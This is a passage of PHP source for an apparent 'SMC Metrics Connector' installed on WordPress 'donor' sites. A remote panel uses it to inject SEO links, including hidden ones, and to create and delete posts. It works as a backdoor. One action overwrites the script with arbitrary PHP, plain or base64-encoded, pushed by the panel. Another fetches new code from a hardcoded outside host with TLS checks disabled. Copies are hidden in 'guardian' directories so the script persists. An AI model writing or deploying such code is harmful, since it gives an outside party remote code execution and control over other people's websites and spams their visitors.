'links_array_required', 400); if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400); $config = load_config(); $current = load_links(); $backup = $current; $final = []; $added = 0; $removed = 0; $unchanged = 0; foreach ($incoming as $row) { if (!is_array($row)) continue; $url = validate_url_value($row['url'] ?? ''); $anchor = validate_anchor_text($row['anchor'] ?? ''); if ($url === '' || $anchor === '') continue; $rel = normalize_rel($row['rel'] ?? 'dofollow'); $linkText = trim((string)($row['text'] ?? '')); if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600); $id = validate_link_id($row['id'] ?? ''); if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel); $normalized = normalize_link_row($id, [ 'id' => $id, 'kind' => normalize_kind($row['kind'] ?? 'footer'), 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null, 'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(), 'updated_at' => time(), 'render_profile' => $config['render_profile'], 'render_types' => $row['render_types'] ?? $config['render_types'], 'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']), 'text' => $linkText, ], $config); $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']); if (!isset($current[$id])) { $added++; } else { $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($before === $after) $unchanged++; } $final[$id] = $normalized; } foreach ($current as $id => $row) { if (!isset($final[$id])) $removed++; } save_links($final); list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false); if (!$ok) { save_links($backup); respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500); } $cachePurge = smc_purge_caches(true); respond(true, [ 'total' => count($final), 'added' => $added, 'removed' => $removed, 'unchanged' => $unchanged, 'placement_strategy' => $newConfig['placement']['strategy'], 'placement_target' => $newConfig['placement']['target'], 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge, ], 'synced'); break; case 'clear_links': if (!save_links([])) respond(false, [], 'links_write_failed', 500); refresh_current_placement(load_config()); $cachePurge = smc_purge_caches(true); respond(true, ['cleared' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'links_cleared'); break; case 'clear_expired': list($activeAfter, $expiredRemoved) = clear_expired_links(); respond(true, [ 'cleared' => count($expiredRemoved), 'remaining' => count($activeAfter), 'placement_report' => placement_report_payload(), ], 'expired_links_cleared'); break; case 'verify_links': respond(true, verify_links_action(), 'verified'); break; case 'placement_report': respond(true, placement_report_payload(), 'placement_report'); break; case 'self_reconcile': respond(true, self_reconcile_action(), 'reconciled'); break; case 'get_config': $cfg = load_config(); respond(true, [ 'output_mode' => $cfg['output_mode'], 'render_profile' => $cfg['render_profile'], 'render_types' => $cfg['render_types'], 'link_rel_strategy' => $cfg['link_rel_strategy'], 'placement' => $cfg['placement'], ], 'config'); break; case 'set_config': // Panel can change output_mode, render_types, render_profile, link_rel_strategy. // Placement state is NOT changed via this endpoint (use add_link / verify_links). $cfg = load_config(); // v5.4: hidden/cloaked rendering removed — only 'visible' is accepted. $allowedOutputModes = ['visible']; $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow']; if (isset($req['output_mode'])) { $om = strtolower(trim((string)$req['output_mode'])); if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400); $cfg['output_mode'] = $om; } if (isset($req['footer_link_cap'])) { // v5.5: 0 or negative = unlimited $cfg['footer_link_cap'] = max(0, intval($req['footer_link_cap'])); } if (isset($req['contextual_max_ttl'])) { $cfg['contextual_max_ttl'] = effective_contextual_ttl(['contextual_max_ttl' => intval($req['contextual_max_ttl'])]); } if (isset($req['render_profile'])) { $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile']; } if (isset($req['render_types'])) { $rt = $req['render_types']; if (is_string($rt)) { $decoded = json_decode($rt, true); $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt))); } if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400); $cfg['render_types'] = filter_render_types($rt); } if (isset($req['link_rel_strategy'])) { $rs = strtolower(trim((string)$req['link_rel_strategy'])); if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400); $cfg['link_rel_strategy'] = $rs; } if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500); respond(true, [ 'output_mode' => $cfg['output_mode'], 'render_profile' => $cfg['render_profile'], 'render_types' => $cfg['render_types'], 'link_rel_strategy' => $cfg['link_rel_strategy'], ], 'config_updated'); break; case 'reinstall_placement': list($ok, $newConfig, $placementMeta) = ensure_render_delivery(true); $cachePurge = smc_purge_caches(true); respond($ok, [ 'placement_ok' => $ok, 'placement' => $newConfig['placement'] ?? null, 'meta' => $placementMeta, 'placement_report' => placement_report_payload(), 'version' => CONNECTOR_VERSION, 'cache_purge' => $cachePurge, ], $ok ? 'placement_reinstalled' : 'placement_reinstall_failed', $ok ? 200 : 500); break; case 'purge_cache': respond(true, [ 'cache_purge' => smc_purge_caches(true), 'version' => CONNECTOR_VERSION, ], 'cache_purged'); break; case 'push_update': // Panel pushes fresh PHP source directly (no outbound fetch from donor). $newSource = ''; if (isset($req['source']) && is_string($req['source']) && $req['source'] !== '') { $newSource = $req['source']; } elseif (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') { $decoded = base64_decode($req['source_b64'], true); if ($decoded !== false) $newSource = $decoded; } else { $raw = get_raw_body(); if ($raw !== '' && strpos($raw, ' (preg_match("/define\\('CONNECTOR_VERSION',\\s*'([^']+)'/", $newSource, $vm) ? $vm[1] : CONNECTOR_VERSION), 'hash' => hash('sha256', $newSource), 'at' => time()])); } try { $cfg = load_config(); $cfg['footer_link_cap'] = 0; save_config($cfg); } catch (\Throwable $e) { } respond(true, [ 'old_version' => CONNECTOR_VERSION, 'fetched_bytes' => strlen($newSource), 'backup_path' => $backup, 'opcache_cleared' => $opcacheCleared, 'mode' => 'push_update', 'next' => 'call_reinstall_placement', ], 'pushed_update'); break; case 'self_update': // Pull fresh PHP from panel and atomically replace this file. // Requires PANEL_API_URL to be a real value (placeholder safety). $apiUrl = trim((string)PANEL_API_URL); $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : ''; $headers = [ 'X-SMC-Panel-Token: ' . PANEL_TOKEN, 'Accept: application/x-php', 'User-Agent: smc-connector/' . CONNECTOR_VERSION, ]; $candidates = []; if ($apiUrl !== '' && strpos($apiUrl, '{{') === false) { $candidates[] = rtrim($apiUrl, '/') . '/connector/v5/source'; } // Hardcoded public fallback — survives bad 127.0.0.1 bake from old panel builds. $candidates[] = 'https://ln1.donornet.icu/api/connector/v5/source'; $candidates = array_values(array_unique($candidates)); $newSource = ''; $httpStatus = 0; $usedUrl = ''; foreach ($candidates as $sourceUrl) { $newSource = ''; $httpStatus = 0; $usedUrl = $sourceUrl; if (function_exists('curl_init')) { $ch = curl_init($sourceUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 25, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_HTTPHEADER => $headers, CURLOPT_SSL_VERIFYPEER => false, ]); $newSource = (string)curl_exec($ch); $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } else { $ctx = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => implode("\r\n", $headers), 'timeout' => 25, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $newSource = (string)@file_get_contents($sourceUrl, false, $ctx); $httpStatus = ($newSource !== '') ? 200 : 0; } if ($httpStatus === 200 && $newSource !== '' && strpos($newSource, ' $httpStatus, 'tried' => $candidates], 'source_fetch_failed', 502); } if (strpos($newSource, "SMC Metrics Connector") === false) { respond(false, [], 'source_signature_mismatch', 502); } // Backup current file then atomic replace. $self = __FILE__; $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time(); if (!@copy($self, $backup)) { $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/smc_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php'; if (!@copy($self, $backup)) { $backup = ''; } } $tmp = $self . '.tmp.' . bin2hex(random_bytes(4)); if (@file_put_contents($tmp, $newSource) === false) { @unlink($tmp); respond(false, [], 'tmp_write_failed', 500); } if (!@rename($tmp, $self)) { @unlink($tmp); respond(false, [], 'rename_failed', 500); } $opcacheCleared = false; if (function_exists('opcache_invalidate')) { $opcacheCleared = @opcache_invalidate($self, true); } if (!$opcacheCleared && function_exists('opcache_reset')) { $opcacheCleared = (bool)@opcache_reset(); } foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.smc_connector.php.bak', $newSource); @file_put_contents($dir . '/.smc_stamp.json', json_encode(['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $newSource), 'at' => time()])); } try { $cfg = load_config(); $cfg['footer_link_cap'] = 0; save_config($cfg); } catch (\Throwable $e) { } respond(true, [ 'old_version' => CONNECTOR_VERSION, 'fetched_bytes' => strlen($newSource), 'backup_path' => $backup, 'opcache_cleared' => $opcacheCleared, 'guardian_synced' => true, 'source_url' => $usedUrl, 'requested_version' => $expectedVersion ?: null, 'next' => 'call_reinstall_placement', ], 'self_updated'); break; case 'output': header('Content-Type: text/html; charset=UTF-8'); echo smc_render_links_html(); exit; case 'post_create': // v5.7.0: постинг как Zebroid — только через API (быстрее в 100 раз) if (!function_exists('wp_insert_post')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('wp_insert_post')) respond(false, [], 'wordpress_required', 400); $title = trim((string)($req['title'] ?? '')); $content = (string)($req['content'] ?? ''); $status = in_array(($req['status'] ?? 'publish'), ['publish', 'draft', 'private', 'pending'], true) ? $req['status'] : 'publish'; $category = trim((string)($req['category'] ?? '')); $tags = trim((string)($req['tags'] ?? '')); $excerpt = trim((string)($req['excerpt'] ?? '')); $date = trim((string)($req['date'] ?? '')); if ($title === '' || $content === '') respond(false, [], 'title_content_required', 400); if (mb_strlen($title) > 200) $title = mb_substr($title, 0, 200); if (mb_strlen($content) > 500000) $content = mb_substr($content, 0, 500000); $catId = 0; if ($category !== '' && function_exists('get_cat_ID')) { $catId = (int)get_cat_ID($category); if ($catId === 0 && function_exists('wp_create_category')) { $catId = (int)wp_create_category($category); } } $postData = [ 'post_title' => $title, 'post_content' => $content, 'post_status' => $status, 'post_type' => 'post', 'post_excerpt' => $excerpt, ]; if ($catId > 0) $postData['post_category'] = [$catId]; if ($date !== '' && strtotime($date) !== false) { $postData['post_date'] = date('Y-m-d H:i:s', strtotime($date)); $postData['post_date_gmt'] = gmdate('Y-m-d H:i:s', strtotime($date)); } $postId = wp_insert_post($postData, true); if (is_wp_error($postId)) respond(false, ['error' => $postId->get_error_message()], 'post_failed', 500); if ($tags !== '' && function_exists('wp_set_post_tags')) { wp_set_post_tags($postId, array_map('trim', explode(',', $tags)), false); } $permalink = function_exists('get_permalink') ? get_permalink($postId) : ''; respond(true, ['post_id' => $postId, 'url' => $permalink, 'status' => $status, 'category' => $catId], 'post_created'); break; case 'post_list': if (!function_exists('get_posts')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('get_posts')) respond(false, [], 'wordpress_required', 400); $limit = min(50, max(1, intval($req['limit'] ?? 10))); $posts = get_posts(['numberposts' => $limit, 'post_status' => 'any', 'post_type' => 'post']); $out = []; foreach ($posts as $p) { $out[] = ['id' => $p->ID, 'title' => $p->post_title, 'status' => $p->post_status, 'date' => $p->post_date, 'url' => get_permalink($p->ID)]; } respond(true, ['posts' => $out, 'count' => count($out)], 'posts_listed'); break; case 'post_delete': if (!function_exists('wp_delete_post')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('wp_delete_post')) respond(false, [], 'wordpress_required', 400); $pid = intval($req['post_id'] ?? 0); if ($pid < 1) respond(false, [], 'post_id_required', 400); $force = !empty($req['force']); $result = wp_delete_post($pid, $force); if (!$result) respond(false, [], 'delete_failed', 500); respond(true, ['post_id' => $pid, 'deleted' => true], 'post_deleted'); break; case 'cat_create': if (!function_exists('wp_create_category')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('wp_create_category')) respond(false, [], 'wordpress_required', 400); $catName = trim((string)($req['name'] ?? '')); if ($catName === '') respond(false, [], 'name_required', 400); $catId = wp_create_category($catName); if (is_wp_error($catId)) respond(false, ['error' => $catId->get_error_message()], 'cat_failed', 500); respond(true, ['category_id' => $catId, 'name' => $catName], 'category_created'); break; default: respond(false, [], 'unknown_action', 404); }